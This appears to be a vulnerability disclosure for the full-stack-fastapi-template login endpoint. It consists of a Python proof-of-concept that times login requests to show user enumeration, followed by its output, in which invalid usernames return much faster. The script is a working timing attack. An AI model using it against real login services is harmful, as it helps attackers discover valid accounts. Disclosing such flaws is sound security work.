full-stack-fastapi-template authentication endpoint leaks user enumeration via response differences

test_timing_attack.py

import time
import requests

def measure_response_time(url: str, username: str, password: str) -> float:
    data = {
        "username": username,
        "password": password
    }
    start = time.perf_counter()
    response = requests.post(url, data=data)
    end = time.perf_counter()
    return end - start, response.status_code

def main() -> None:
    url = "http://localhost:8000/api/v1/login/access-token"
    users = [
        ("admin@example.com", "changethis"),
        ("admin@example.com", "wrongpassword"),
        ("invaliduser@example.com", "wrongpassword")
    ]
    for username, password in users:
        durations = []
        for _ in range(1):
            duration, status = measure_response_time(url, username, password)
            durations.append(duration)
        avg_duration = sum(durations) / len(durations)
        print(f"Username: {username}, Average response time: {avg_duration:.5f} seconds")

if __name__ == "__main__":
    main()

Username: admin@example.com, Average response time: 0.24492 seconds
Username: admin@example.com, Average response time: 0.18740 seconds
Username: invaliduser@example.com, Average response time: 0.00375 seconds